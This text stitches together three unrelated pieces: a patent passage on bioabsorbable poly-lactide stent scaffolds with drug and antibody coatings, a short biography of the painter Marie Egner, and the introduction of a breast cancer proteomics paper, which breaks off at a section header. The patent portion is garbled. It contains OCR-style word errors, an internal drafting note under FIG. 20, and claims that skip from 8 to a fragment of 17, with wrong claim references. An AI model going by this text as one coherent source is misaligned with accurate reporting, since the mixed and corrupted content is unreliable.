In one embodiment, the medical device is provided as a scaffold implant in a delivery system comprising a catheter adapted with a balloon type reversible inflation or dilation means. In one embodiment, a balloon inflating device may be employed which may be heated or cooled.
In an alternate embodiment, the medical device is provided with a polymer breakdown moieties that are “friendly” at the contact vascular wall area. In certain embodiments, the breakdown kinetics are sufficiently slow to avoid tissue overload or other inflammatory reactions.
In one embodiment there is provided a minimum of 30-day retention of clinically supportive strength that may endure in place, for example, about 3-4 months. Evaluation criteria for such embodiment scaffolds may be based, for example, on mass loss in terms of decreased molecular weight, retention of mechanical properties, and tissue reaction.
In alternate embodiments, the medical device comprising a expandable scaffold is operably configured to change to from a solid state to a “rubbery state,” allowing for easier surgical intervention. In this embodiment, the rubbery state of the device is attained one the device is in physiological conditions in vivo.
Optionally the polymers and construction of the device may be selected to have flexibility and elasticity suitable for an implant in friction-free contact with vascular walls during the cardiovascular pulsing contractions and relaxations.
Preferably the scaffold in an embodiment is stretchable and elastic but has a sufficiently rigid strength to be capable of withstanding the cardiovascular fluctuating pressures within a blood vessel.
According to an embodiment, the bioabsorbable polymer is composed of a poly(L-lactide) or a poly(D-lactide) base polymer. Modifying copolymers include poly L(or D)-lactide-co-Tri-methylene-carbonate or poly-L(or D)-lactide-co-e-caprolactone may be used to link the base polymers. These copolymers can be synthesized as block copolymers or as “blocky” random copolymers wherein the lactide chain length is sufficiently long enough to crystallize. The development of a crystalline morphology may enhance the mechanical properties of the medical device; enhance processing conditions, and provide the potential of cross-moiety crystallization, for example, thermal cross-links. In this embodiment, the polymer composition allows the development of the lactide racemate crystal structure, between the L and D moieties, to further enhance the mechanical properties of the medical device.
It is also envisioned that the degradation time of the polymer in the composition may be shortened by enhancing degradation kinetics. For example, the starting material may be a lower molecular weight composition and/or a base polymer may be employed that is more hydrophilic or liable to hydrolytic chain scission.
According to embodiments of the invention there is provided a compositions and methods for fabricating a base copolymer having one moiety, such as L-lactide or D-lactide, is sufficiently long enough and not sterically hindered to crystallize, with a lesser moiety, for example Glycolide or Polyethylene Glycol (PEG) or monomethoxy-terminated PEG (PEG-MME).
The compositions, in addition to the base polymer, the modifying polymer or co-polymer, may include other materials and compounds that enhance degradation kinetics such as e-caprolactone copolymer moiety, wherein the caprolactone remains amorphous with resulting segments more susceptible to hydrolysis. Such compositions may be manufactured, for example, by admixing with the base polymer blend, or reacting to the base polymer.
The composition may incorporate PEG copolymers, for example either AB diblock or ABA triblock with the PEG moiety being approximately 1%. The mechanical properties of the lactide (see Enderlie and Buchholz SFB May 2006) may be maintained. The incorporation of either PEG or PEG-MME copolymers may also be used to facilitate drug attachment to the polymer, for example in conjunction with a drug eluting medical device.
Another embodiment provides a scaffold base polymer combining polymers of low PEG content of less than 5% in high MW, i.e., 2-3 IV copolymers, which enables the lactide block to crystallize and impart equivalent strength to the base polymer.
The scaffold of embodiments herein may provide a polymer core material containing at least one encapsulated drug for localized treatment of the vascular wall and lumen. The scaffold core degradation schedule may provide, for example, a simultaneously slow release of medication for the treatment and prevention of tissue inflammation and platelet aggregation.
Another embodiment of the polymer composition or blend provides uniform degradation in situ avoiding polymer release in chunks. The scaffold may carry at least one attached or embedded identification marker made from a radioopaque material.
BRIEF DESCRIPTION OF THE DRAWINGS
FIG. 1 illustrates a representative bioabsorbable stent design.
FIG. 2 is a photograph of a representative bioabsorbable stent device.
FIG. 20 illustrates a schematic representation of a bioabsorbable stent strut in cross section, which comprises a stent configuration having encapsulated pharmaceutical composition within the struts. In this embodiment, the stent is coated with a matrix comprising an antibody coating and a drug-coated abluminal surface of the device. (Program goal to produce a biodegradeable, Abluminal Focused Drug Eluting (RxTBD), Coated Platform. Should the Rx(s) component be integral throughout?)
DETAILED DESCRIPTION
Polymer compositions of the present invention may be used to manufacture medical device for implantation into a patient. The medical devices are scaffolds having biodegradable, bioabsorbable properties and include, but are not limited to, stents, stent grafts, vascular synthetic grafts, catheters, shunts, vascular shunts, valves, grafts and the like.
The invention is also directed to methods of making the biodegradable polymer compositions and methods for making the medical devices from the polymer compositions disclosed herein.
In one embodiment, the medical device comprises a crimpable polymeric stent, which can be inserted onto a balloon delivery system for implantation. The balloon may comprise a thermal balloon or non-thermal balloon. The medical device can have a structure which is crimpable during loading and expandable without stress under physiological conditions. The medical device may comprise a structure that comprises polymers that which can orient and/or crystallize upon strain of deployment, for example during balloon dilation, in order to improve the medical devices mechanical properties. By employing a medical device comprising polymers having slow breakdown kinetics one may avoid tissue overload or other inflammatory responses at the site of implantation.
The medical devices of the invention, can be structurally configured to provide the ability to change and conform to the area of implantation and to allow for the normal reestablishment of local tissues. The medical devices can transition from solid to a “rubbery state” allowing for easier surgical intervention, than, for example a stainless steel stent. A medical device may be designed to have, for example, a minimum of 30-day retention of clinically sufficient strength.
In one embodiment, the medical device is comprised of a polymer composition can comprise a base polymer which can be present from about 60% to about 95% by weight, or from about 70% to about 80% by weight of the composition. For example, the polymer formulation can comprise from about 70% by weight poly L-lactide (about 1.5 to 3.5 or from about 2.5 to 3 IV) with the poly L-lactide-co-TMC(80/20 w/w) (1.0 to 2.6 IV or from about 1.4 to 1.6 IV).
In another embodiment, the polymer formulation comprises 70% by weight triblock poly L-lactide-co-PEG(95/5 to 99/01, or from about 98/2 to 99/01) (2,000 to 100 Mw PEG, or 6,000 to 8000 Mw PEG) with the poly L-lactide-co-TMC(70/30) (1.4 to 1.6 IV). The polymer composition may also comprise a formulation of about 70% by weight diblock poly L-lactide-co-PEG-MME(95/05 to 99/01) (2,000 to 100 Mw PEG-MME, or 6,000 to 8000 Mw PEG-MME) with poly L-lactide-co-TMC(70/30 w/w) (1.4 to 1.6 IV).
Pharmaceutical compositions may be incorporated with the polymers by for example grafting to the polymer active sites, impregnating or encapsulating within the polymer composition prior to forming the medical device so as to integrate the composition within the walls of the device and/or coating the medical device one formed on the surface of the device, in particular the abluminal surface.
In embodiments disclosed herein, the medical device comprises a stent, which is structurally configured to be deployed into, for example, an artery or a vein, and be able to expand in situ, and conform to the blood vessel lumen the stent may be used to reestablish blood vessel continuity at the site of injury. The stent can be configured to have many different arrangements so that it is crimpable when loading, and expandable and flexible at physiological conditions once deployed. The biodegradable medical device may comprise a base polymer comprising, for example ply L-Lactide or poly D-Lactide, modifying co-polymer(s), such as poly L(or D) lactide-co-Tri-methylene-carbonate or poly L(or D)-lactide-co-e-caprolactone, as described above.
Various embodiments of biodegradable polymeric stents, and/or stent walls with different configuration are illustrated in FIGS. 1-15. For example, the stent is a tubular structure comprising struts operably designed to allow blood to traverse its walls so that the adjacent tissues are bathed or come in contact with it as blood flows through the area. The particular stent designs selected may depend on the size of the stent radially and longitudinally. FIG. 11A illustrates a scaffold wherein a number of looped structures are positioned above a collapsable/expandable suspension strut as illustrated in FIG. 11A the looped structures a . . . an expand along an axis and suspension strut b is expanded along the same axis. Suspension strut b may be constructed so as to form a closed loop, such as a circumferential loop as shown at FIGS. 11A and 11B; and FIG. 12A and FIG. 12B. The cross-linking strut of the unrolled scaffold of FIG. 11 a may maintain higher loop strength. FIG. 15 shows a tube structure embodiment employing such technology; other shapes such as conical, or bifurcated, are also envisioned.
Scaffolds of the present inventions may find employment in many biological areas including, without limitation, the trachea, bracial, fallopian tube, esophagous, and vasculature. Scaffolds may comprise or may be coated with, any type of drug such as hormones, serp-1, MPA etc.
Scaffold elements may be configured to prematurely deform to their maximum length and/or structure and then plastically elongate to form or create a second structure within which has different mechanical properties when compared to the primary structure of the composite structure. Over stretching of the structure may be advantageous to enable alignment of crystalline structures, thereby increasing structural strength. The secondary structure within the primary structure may allow, for example, a bifurcated shape. The secondary structure would allow changes in structures beyond that allowed by simple plastic deformation.
A method of the invention comprises a method for making a bioabsorbable polymeric implant comprising: (a) blending a polymer composition comprising a crystallizable composition comprising a base polymer of poly L-lactide or poly D-lactide linked with modifying copolymers comprising poly L(or D)-lactide-co-Tri-methylene-carbonate or poly L(or D)-lactide-co-e-caprolactone in the form of block copolymers or as blocky random copolymers wherein the lactide chain length is sufficiently long enough to allow cross-moiety crystallization; (b) molding said polymer composition to structurally configure said implant; and (c) cutting said implant.
In one embodiment, the blended form is molded in the faint of a tube defining a lumen therein. The tube may then be cut using laser, air knife, or mechanical means, or the like, to faun the desired design, such as a stent scaffold. In another embodiment, the blended form is molded into sheets. The sheets are then cut using a laser, air knife, or mechanical means, or the like, to the desired design. If desired, the designed cut sheet may then be welded, annealed, engaged, etc. with another portion of the sheet to form the overall structure desired. For example, the designed, cut, sheet may be rolled into a tubular form and welded along a seam, forming a tube that may later be cut into stents, etc. The sheet itself may be coated on one or both sides with a material, in particular a composition comprising a biological or pharmacological agent. One side may have a coating formed of a different matrix and/or different biological or pharmacological agent or agents.
A method for fabricating the medical device may comprise: (a) preparing a biodegradable polymeric structure; (b) designing said polymeric structure to be configured to allow for implantation into a patient; (c) cutting said structure into patterns configured to permit traversing of the device through openings and to allow for crimping of the device.
The medical device of the invention can be any device used for implanting into an organ or body part comprising a lumen, and can be, but is not limited to, a stent, a stent graft, a synthetic vascular graft, a heart valve, a catheter, a vascular prosthetic filter, a pacemaker, a pacemaker lead, a defibrillator, a patent foramen ovale (PFO) septal closure device, a vascular clip, a vascular aneurysm occluder, a hemodialysis graft, a hemodialysis catheter, an atrioventricular shunt, an aortic aneurysm graft device or components, a venous valve, a sensor, a suture, a vascular anastomosis clip, an indwelling venous or arterial catheter, a vascular sheath and a drug delivery port. The medical device can be made of numerous bioabsorbable materials depending on the device, biodegradable materials such as polylactide polymers and polyglycolide polymers or copolymers thereof are the most suitable.
In one embodiment, the medical device comprises a coating comprising a matrix which comprises a nontoxic, biocompatible, bioerodible and biodegradable synthetic material. The coating may further comprise one or more pharmaceutical substances or drug compositions for delivering to the tissues adjacent to the site of implantation, and one or more ligands, such as a peptide, small and/or large molecules, and/or antibodies or combinations thereof for capturing and immobilizing progenitor endothelial cells on the blood contacting surface of the medical device.
In one embodiment, the implantable medical device comprises a stent with a coating. In accordance with one embodiment, the stent is an expandable intraluminal endoprosthesis designed and configured to have a surface for attaching a coating for controlled or slow release of a therapeutic substance to adjacent tissues.
In one embodiment, the controlled-release matrix can comprise one or more polymers and/or oligomers from various types and sources, including, natural or synthetic polymers, which are biocompatible, biodegradable, bioabsorbable and useful for controlled-released of the medicament. For example, in one embodiment, the naturally occurring polymeric materials can include proteins such as collagen, fibrin, tropoelastin, elastin, cross-linked tropoelastin and extracellular matrix component, or other biologic agents or mixtures thereof. In this embodiment of the invention, the naturally-occurring material can be made by genetic engineering techniques from exogenous genes carried by vectors, such as a plasmid vector and engineered into a host, such as a bacterium. In this embodiment, desired polymer proteins such as tropoelastin and elastin can be produced and isolated for use in the matrix. In alternate embodiments, the naturally occurring polymeric matrices can be purified from natural sources by known methods or they can be obtained by chemical synthesis of the protein polymer. In certain embodiments, the naturally occurring material can be chemically modified or synthesized, for example, by cross-linking the material such as proteins, or by methylation, phosphorylation and the like. In another embodiment, the matrix can comprise a denuded blood vessel or blood vessel scaffolds and/or components thereof.
In one embodiment, the matrix may comprise a synthetic material which can include polyesters such as polylactic acid, polyglycolic acid or copolymers and or combinations thereof, a polyanhydride, polycaprolactone, polyhydroxybutyrate valerate, polydixanone, and other biodegradable polymer, or mixtures or copolymers thereof. In this embodiment, the matrix comprises poly(lactide-coglycolide) as the matrix polymer for coating the medical device. In this embodiment, the poly(lactide-co-glycolide) composition comprises at least one polymer of poly-DL-co-glycolide or copolymer or mixtures thereof, and it is mixed together with the pharmaceutical substances to be delivered to the tissues. The coating composition is then applied to the surface of the device using standard techniques such as spraying, dipping, and/or chemical vaporization. Alternatively, the poly(lactide-co-glycolide) (PGLA) solution can be applied as a single layer separating a layer or layers of the pharmaceutical substance(s).
In another embodiment, the coating composition further comprises pharmaceutically acceptable polymers and/or pharmaceutically acceptable carriers, for example, nonabsorbable polymers, such as ethylene vinyl acetate (EVAC) and methylmethacrylate (MMA). The nonabsorbable polymer, for example, can aid in further controlling release of the substance by increasing the molecular weight of the composition thereby delaying or slowing the rate of release of the pharmaceutical substance.
In certain embodiments, the polymer material or mixture of various polymers can be applied together as a composition with the pharmaceutical substance on the surface of the medical device and can comprise a single layer. Multiple layers of composition can be applied to form the coating. In another embodiment, multiple layers of polymer material or mixtures thereof can be applied between layers of the pharmaceutical substance. For example, the layers may be applied sequentially, with the first layer directly in contact with the uncoated surface of the device and a second layer comprising the pharmaceutical substance and having one surface in contact with the first layer and the opposite surface in contact with a third layer of polymer which is in contact with the surrounding tissue. Additional layers of the polymer material and drug composition can be added as required, alternating each component or mixtures of components thereof.
In another embodiment, the matrix may comprise non-polymeric materials such as nanoparticles formed of, for example, metallic alloys or other materials. In this embodiment, the coating on the medical device can be porous and the pharmaceutical substances can be trapped within and between the particles. In this embodiment, the size of the particles can be varied to control the rate of release of the pharmaceutical substance trapped in the particles depending on the need of the patient. In one embodiment, the pharmaceutical composition can be a slow/controlled-release pharmaceutical composition.
Alternatively, the pharmaceutical substance of the coating can be applied as multiple layers of a composition and each layer can comprise one or more drugs surrounded by polymer material. In this embodiment, the multiple layers of pharmaceutical substance can comprise a pharmaceutical composition comprising multiple layers of a single drug; one or more drugs in each layer, and/or differing drug compositions in alternating layers applied. In one embodiment, the layers comprising pharmaceutical substance can be separated from one another by a layer of polymer material. In another embodiment, a layer of pharmaceutical composition may be provided to the device for immediate release of the pharmaceutical substance after implantation.
In one embodiment, the pharmaceutical substance or composition may comprise one or more drugs or substances which can inhibit smooth muscle cell migration and proliferation at the site of implantation, can inhibit thrombus formation, can promote endothelial cell growth and differentiation, and/or can inhibit restenosis after implantation of the medical device. Additionally, the capturing of the progenitor endothelial cells on the luminal surface of the medical device accelerates the formation of a functional endothelium at the site of injury.
Examples of compounds or pharmaceutical compositions which can be incorporated in the matrix, and/or impregnated into the medical device include, but are not limited to prostacyclin, prostacyclin analogs, α-CGRP, α-CGRP analogs or α-CGRP receptor agonists; prazosin; monocyte chemoattactant protein-1 (MCP-1); immunosuppressant drugs such as rapamycin, drugs which inhibit smooth muscle cell migration and/or proliferation, antithrombotic drugs such as thrombin inhibitors, immunomodulators such as platelet factor 4 and CXC-chemokine; inhibitors of the CX3CR1 receptor family; antiinflammatory drugs, steroids such as dihydroepiandrosterone (DHEA), testosterone, estrogens such as 17β-estradiol; statins such as simvastatin and fluvastatin; PPAR-alpha ligands such as fenofibrate and other lipid-lowering drugs, PPAR-delta and PPAR-gamma agonists such as rosiglitazone; PPAR-dual-αγ agonists, LBM-642, nuclear factors such as NF-κβ, collagen synthesis inhibitors, vasodilators such as acetylcholine, adenosine, 5-hydroxytryptamine or serotonin, substance P, adrenomedulin, growth factors which induce endothelial cell growth and differentiation such as basic fibroblast growth factor (bFGF), platelet-derived growth factor (PDGF), endothelial cell growth factor (EGF), vascular endothelial cell growth factor (VEGF); protein tyrosine kinase inhibitors such as Midostaurin and imatinib or any anti-angionesis inhibitor compound; peptides or antibodies which inhibit mature leukocyte adhesion, antibiotics/antimicrobials, and other substances such as tachykinins, neurokinins or sialokinins, tachykinin NK receptor agonists; PDGF receptor inhibitors such as MLN-518 and derivatives thereof, butyric acid and butyric acid derivatives puerarin, fibronectin, erythropoietin, darbepotin, serine proteinase-1 (SERP-1) and the like. The aforementioned compounds and pharmaceutical substances can be applied to the coating on the device alone or in combinations and/or mixtures thereof.
In one embodiment, the implantable medical device can comprise a coating comprising one or more barrier layers in between said one or more layers of matrix comprising said pharmaceutical substances. In this embodiment, the barrier layer may comprise a suitable biodegradable material, including but not limited to suitable biodegradable polymers including: polyesters such as PLA, PGA, PLGA, PPF, PCL, PCC, TMC and any copolymer of these; polycarboxylic acid, polyanhydrides including maleic anhydride polymers; polyorthoesters; poly-amino acids; polyethylene oxide; polyphosphazenes; polylactic acid, polyglycolic acid and copolymers and mixtures thereof such as poly(L-lactic acid) (PLLA), poly(D,L-lactide), polylactic acid-co-glycolic acid), 50/50 (DL-lactide-co-glycolide); polydixanone; polypropylene fumarate; polydepsipeptides; polycaprolactone and co-polymers and mixtures thereof such as poly(D,L-lactide-co-caprolactone) and polycaprolactone co-butylacrylate; polyhydroxybutyrate valerate and blends; polycarbonates such as tyrosine-derived polycarbonates and arylates, polyiminocarbonates, and polydimethyltrimethyl-carbonates; cyanoacrylate; calcium phosphates; polyglycosaminoglycans; macromolecules such as polysaccharides (including hyaluronic acid; cellulose, and hydroxypropylmethyl cellulose; gelatin; starches; dextrans; alginates and derivatives thereof), proteins and polypeptides; and mixtures and copolymers of any of the foregoing. The biodegradable polymer may also be a surface erodable polymer such as polyhydroxybutyrate and its copolymers, polycaprolactone, polyanhydrides (both crystalline and amorphous), maleic anhydride copolymers, and zinc-calcium phosphate. The number of barrier layers that the coating on a device may have depends on the amount of therapeutic needed as dictated by the therapy required by the patient. For example, the longer the treatment, the more therapeutic substance required over a period of time, the more barrier layers to provide the pharmaceutical substance in a timely manner.
In one embodiment, the coating comprises a ligand which is applied to the blood contacting surface of the medical device and the ligand specifically recognizes and binds a desired component or epitope on the surface of target cells in the circulating blood. In one embodiment, the ligand is specifically designed to recognize and bind only the genetically-altered mammalian cell by recognizing only the genetically-engineered marker molecule on the cell membrane of the genetically-altered cells. The binding of the target cells immobilizes the cells on the surface of the device.
In alternate embodiment, the ligand on the surface of the medical device for binding the genetically-altered cell is selected depending on the genetically engineered cell membrane marker molecule. That is, the ligand binds only to the cell membrane marker molecule or antigen which is expressed by the cell from extrachromosomal genetic material provided to the cell so that only the genetically-modified cells can be recognized by the ligand on the surface of the medical device. In this manner, only the genetically-modified cells can bind to the surface of the medical device. For example, if the mammalian cell is an endothelial cell, the ligand can be at least one type of antibody, antibody fragments or combinations thereof; the antibody is specifically raised against a specific target epitope or marker molecule on the surface of the target cell. In this aspect of the invention, the antibody can be a monoclonal antibody, a polyclonal antibody, a chimeric antibody, or a humanized antibody which recognizes and binds only to the genetically-altered endothelial cell by interacting with the surface marker molecule and, thereby modulating the adherence of the cells onto the surface of the medical device. The antibody or antibody fragment of the invention can be covalently or noncovalently attached to the surface of the matrix, or tethered covalently by a linker molecule to the outermost layer of the matrix coating the medical device. In this embodiment, for example, the monoclonal antibodies can further comprises Fab or F(ab′)2 fragments. The antibody fragment of the invention comprises any fragment size, such as large and small molecules which retain the characteristic to recognize and bind the target antigen as the antibody.
In another embodiment, the antibody or antibody fragment of the invention recognize and bind antigens with specificity for the mammal being treated and their specificity is not dependent on cell lineage. In one embodiment, for example, in treating restenosis wherein the cells may not be genetically modified to contain specific cell membrane marker molecules, the antibody or fragment is specific for selecting and binding circulating progenitor endothelial cell surface antigen such as CD133, CD34, CD14, CDw90, CD117, HLA-DR, VEGFR-1, VEGFR-2, Muc-18 (CD146), CD130, stem cell antigen (Sea-1), stem cell factor 1 (SCF/c-Kit ligand), Tie-2, MHC such as H-2Kk and HLA-DR antigen.
In another embodiment, the coating of the medical device comprises at least one layer of a biocompatible matrix as described above, the matrix comprises an outer surface for attaching a therapeutically effective amount of at least one type of small molecule of natural or synthetic origin. The small molecule recognizes and interacts with, for example, progenitor endothelial cells in the treatment of restenosis, to immobilize the cells on the surface of the device to form an endothelial layer. The small molecules can be used in conjunction with the medical device for the treatment of various diseases, and can be derived from a variety of sources such as cellular components such as fatty acids, proteins, nucleic acids, saccharides and the like and can interact with an antigen on the surface of a progenitor endothelial cell with the same results or effects as an antibody. In this aspect of the invention, the coating on the medical device can further comprise a compound such as a growth factor as described herewith in conjunction with the coating comprising an antibody or antibody fragment.
In another embodiment, the coating of the medical device comprises at least one layer of a biocompatible matrix as described above, the matrix comprising a luminal surface for attaching a therapeutically effective amount of at least one type of small molecule of natural or synthetic origin. The small molecule recognizes and interacts with an antigen on the target cell such as a progenitor endothelial cell surface to immobilize the progenitor endothelial cell on the surface of the device to form endothelium. The small molecules can be derived from a variety of sources such as cellular components including, fatty acids, peptides, proteins, nucleic acids, saccharides and the like and can interact, for example, with a structure such as an antigen on the surface of a progenitor endothelial cell with the same results or effects as an antibody.
In another embodiment, there is provided a method for treating vascular disease such as restenosis and artherosclerosis, comprising administering a pharmaceutical substance locally to a patient in need of such substance. The method comprises implanting into a vessel or hollowed organ of a patient a medical device with a coating, which coating comprises a pharmaceutical composition comprising a drug or substance for inhibiting smooth muscle cell migration and thereby restenosis, and a biocompatible, biodegradable, bioerodible, nontoxic polymer or non-polymer matrix, wherein the pharmaceutical composition comprises a slow or controlled-release formulation for the delayed release of the drug. The coating on the medical device can also comprise a ligand such as an antibody for capturing cells such as endothelial cells and or progenitor cells on the luminal surface of the device so that a functional endothelium is formed.
In another embodiment, there is provided a method of making a coated medical device or a medical device with a coating, which comprises applying to a surface of a medical device a polymer or non-polymer matrix and a pharmaceutical composition comprising one or more drugs, and applying a ligand to the medical device so that the ligand attaches to a surface of the device and is designed to bind molecules on the cell membrane of circulating native or genetically engineered cells. In this embodiment, the polymer matrix comprises a biocompatible, biodegradable, nontoxic polymer matrix such as collagen, tropocollagen, elastin, tropoelastin, cross-linked tropoelastin, poly(lactide-co-glycolide) copolymer, polysaccharides and one or more pharmaceutical substances, wherein the matrix and the substance(s) can be mixed prior to applying to the medical device. In this embodiment, at least one type of ligand is applied to the surface of the device and can be added on top or on the outer surface of the device with the drug/matrix composition in contact with the device surface. The method may alternatively comprise the step of applying at least one layer of a pharmaceutical composition comprising one or more drugs and pharmaceutically acceptable carriers, and applying at least one layer of a polymer matrix to the medical device.
In one embodiment, the matrix can be applied as one or more layers and with or without the pharmaceutical substance, and the ligand can be applied independently to the medical device by several methods using standard techniques, such as dipping, spraying or vapor deposition. In an alternate embodiment, the polymer matrix can be applied to the device with or without the pharmaceutical substance. In this aspect of the invention wherein a polymer matrix is applied without the drug, the drug can be applied as a layer between layers of matrices. In other embodiments, a barrier layer is applied between the layers comprising the pharmaceutical substances.
In one embodiment, the method comprises applying the pharmaceutical composition as multiple layers with the ligand applied on the outermost surface of the medical device so that the ligand such as antibodies can be attached in the luminal surface of the device. In one embodiment, the method for coating the medical device comprises: applying to a surface of said medical device at least one or more layers of a matrix, one or more pharmaceutical substance(s), and a basement membrane component; applying to said at least one layer of said composition on said medical device a solution comprising at least one type of ligand for binding and immobilizing genetically-modified target cells; and drying said coating on the stent under vacuum at low temperatures.
In another embodiment, the coating is comprised of a multiple component pharmaceutical composition within the matrix such as containing a fast release pharmaceutical agent to retard early neointimal hyperplasia/smooth muscle cell migration and proliferation, and a secondary biostable matrix that releases a long acting agent for maintaining vessel patency or a positive blood vessel remodeling agent, such as endothelial nitric oxide synthase (eNOS), nitric oxide donors and derivatives such as aspirin or derivatives thereof, nitric oxide producing hydrogels, PPAR agonist such as PPAR-α ligands, tissue plasminogen activator, statins such as atorvastatin, erythropoietin, darbepotin, serine proteinase-1 (SERP-1) and pravastatin, steroids, and/or antibiotics.
The figures provided herewith depict embodiments that are described as illustrative examples that are not deemed in any way as limiting the present invention.
While the invention has been particularly shown and described with reference to particular embodiments, it will be appreciated that variations of the above-disclosed and other features and functions, or alternatives thereof, may be desirably combined into many other different systems or applications. Also that various presently unforeseen or unanticipated alternatives, modifications, variations or improvements therein may be subsequently made by those skilled in the art which are also intended to be encompassed by the following claims.
Claims (20)
1. A method for making a bioabsorbable polymeric implant comprising:
(a) blending a composition comprising a base polymer of poly L-lactide or poly D-lactide linked with modifying copolymers comprising poly L(or D)-lactide-co-Tri-methylene-carbonate or poly L(or D)-lactide-co-ε-caprolactone in the form of block copolymers or as blocky random copolymers wherein the lactide chain length is sufficiently long enough to allow cross-moiety crystallization to form a polymer composition;
(b) allowing said polymer composition to solidify to forming a desired mass; and
(c) cutting said mass to form a configured implant.
2. The method of claim I wherein in step (a) the blending further entails blending a pharmacological and/or biological agent and/or radioopaque or radio-detectable material into the polymer composition.
3. A method in accord with claim I further comprising after step (a) the step of (a′) extruding said polymer composition.
4. A method in accord with claim 3 further comprising after or concurrent with step (a′), the step of: (a″) molding or casting said extruded polymer composition to form a molded polymer composition.
5. A method in accord with claim I wherein said desired mass, is selected from the group consisting of: a sheet, a tube, a rod, and a block,
6. A method in accord with claim 4 further comprising a step after step (b) of: (b″) spraying said solidified mass with a spray composition.
7. A method in accord with claim 6 wherein the spray composition of step (b″) comprises a biological or pharmacological agent.
8. A method in accord with claim 6 wherein, the spray composition comprises a radioopaque or radio-detectable material.
(a) blending a composition comprising a base polymer of poly L-lactide or poly D-lactide linked with modifying copolymers comprising poly L(or D)-lactide-co-Tri-methylene-carbonate or poly L(or D)-lactide-co-s-caprolactone in the form of block copolymers or as blocky random copolymers wherein the lactide chain length is sufficiently long enough to allow cross-moiety crystallization to form a polymer composition;
(b) extruding said polymer composition through an extrusion device;
(c) coating said extruded polymer composition of step (b) with a coating comprising a pharmacological or biological agent;
(d) cutting said coated polymer composition of step (c) to form configured patterns in said polymer composition, said patterns configured to allow for crimping of the cut structure and expansion of the cut structure after crimping into a deployed configuration.
18. A method in accord with claim 17 further comprising after step (c) the step of: (c′) extruding the same or another polymer composition onto the extruded polymer composition of step (b) as coated in step (c), such co-extruded polymer composition comprising a pharmacological or biological agent.
19. A method in accord with claim 10 wherein step (c′) is repeated multiple times to produces a multi-layer extrusion.
Amphiphilic biodegradable block copolymers comprising polyethylenimine(PEI) as a hydrophilic block and polyester as a hydrophobic block, and self-assembled polymer aggregates in aqueous milieu formed from the block copolymers |
Marie Egner
Marie Egner (25 August 1850, Bad Radkersburg - 31 March 1940, Vienna) was an Austrian painter.
Life
She took her first drawing lessons in Graz with Hermann von Königsbrunn, then went to Düsseldorf from 1872 to 1875, where she studied with Carl Jungheim. In 1882, she went to Vienna to live with her mother, but spent her summers at the art colony in Plankenberg Castle, near Neulengbach, where she took lessons with Emil Jakob Schindler until 1887. A study trip to England followed from 1887 to 1889. Shortly after, her first exhibition was held at the Vienna Künstlerhaus. She also exhibited in Germany and England.
She established an art school for women, but had to give it up in 1910, for health reasons. After World War I, she became a member of the Austrian Association of Women Artists (VBKÖ). In 1926, the group held a major retrospective exhibition of her work. After 1930, she began to lose her eyesight and withdrew from public life.
References
Further reading
Werner Fenz: Marie Egner 1850-1940. Landschaften, Blumenbilder. Exhibition catalog. Graz: Neue Galerie, 1979
Martin Suppan: Marie Egner. Eine österreichische Stimmungsimpressionistin. Vol 1. Vienna: Galerie Suppan Fine Arts, 1981 (with diaries and memoirs)
Martin Suppan: Marie Egner. Eine österreichische Stimmungsimpressionistin. Vol 2. Vienna: Galerie Suppan Fine Arts, 1993 (with diaries and memoirs)
External links
Arcadja Auctions: More works by Egner
Marie Egner Frauen in Bewegung @ Österreichische Nationalbibliothek
Biography, Literature and Works by Marie Egner
Category:19th-century Austrian painters
Category:20th-century Austrian painters
Category:Düsseldorf school of painting
Category:1850 births
Category:1940 deaths
Category:Austrian women painters
Category:19th-century women artists
Category:20th-century women artists |
Breast cancer is the most frequently diagnosed cancer and the leading cause of cancer death among women, accounting for 23% of the total cancer cases and 14% of cancer-related deaths ([@B1]). Traditional clinicopathological parameters such as histological grading, tumor size, age, lymph node involvement, and hormonal receptor status are used to determine prognosis and treatment decisions ([@B2][@B3][@B4][@B5]--[@B6]). Histological grading, one of the most commonly used prognostic factors, is a combined score based on microscopic evaluation of the morphological and cytological features of tumor cells that reflects the aggressiveness of a tumor. This combined score is then used to stratify breast cancer tumors into three grades: grade 1, slow growing and well differentiated; grade 2, moderately differentiated; and grade 3, highly proliferative and poorly differentiated ([@B2]). However, the clinical value of histological grades for patient prognosis has been questioned, mainly reflecting the current challenges associated with traditional grading of tumors ([@B7], [@B8]). Furthermore, 30% to 60% of tumors are classified as histological grade 2, which represents a heterogeneous patient cohort and has proven to be less informative for clinical decision making ([@B9]). Clearly, traditional clinical parameters are still not sufficient for adequate prognosis and risk-group discrimination or for therapy selection. As a result, many patients will be overtreated or treated with a therapy that will not offer any benefits. Molecular grading of tumors could be clinically valuable, if the grading could be performed using an objective, high-performing classifier. Thus, a deeper molecular understanding of breast cancer biology and tumor progression, in combination with improved ways to individualize prognosis and treatment decisions, is required in order to further advance treatment outcomes ([@B10], [@B11]).
To date, a set of genomic efforts have generated molecular signatures for the subgrouping of breast cancer types ([@B12][@B13]--[@B14]), as well as for breast cancer prognostics and risk stratification ([@B15][@B16]--[@B17]). In addition, proteomic findings have been anticipated to accelerate the translation of key discoveries into clinical practice ([@B18]). In this context, classical mass-spectrometry-based proteomics have generated valuable inventories of breast cancer proteomes, although using mainly cell lines and only a few breast cancer tissue samples ([@B19][@B20][@B21][@B22][@B23]--[@B24]). More recently, affinity proteomics has delivered the first multiplexed serum portraits for the diagnosis of breast cancer and for predicting the risk of tumor recurrence ([@B25], [@B26]). However, generating detailed protein expression profiles in a sensitive and reproducible manner, using large cohorts of complex proteomes such as tissue extracts, remains a challenge when using either classical proteomic technologies or affinity proteomics. To resolve these issues, we recently developed the global proteome survey (GPS)[^1^](#G1){ref-type="fn"} technology platform ([@B27]), combining the best features of affinity proteomics (large-scale, multiplexed proteome analysis based on the use of antibodies or other specific reagents ([@B28])) and MS. GPS is best suited for discovery endeavors aiming to reproducibly decipher crude proteomes in a sensitive and quantitative manner ([@B29], [@B30]).
In this first study of breast tumors, we delineated in-depth molecular portraits associated with histologically graded breast cancer tissues using GPS. For this purpose, 52 selected breast cancer tissue proteomes were profiled, representing one of the largest label-free LC-MS/MS-based breast cancer tissue studies. The protein expression profiles subsequently were validated using an orthogonal method. In the longer term, these tissue protein portraits might pave the way for improved classification and prognostication of breast cancer patients, and potentially even aid in defining candidate targets for therapy.
EXPERIMENTAL PROCEDURES
=======================
###
#### Clinical Samples
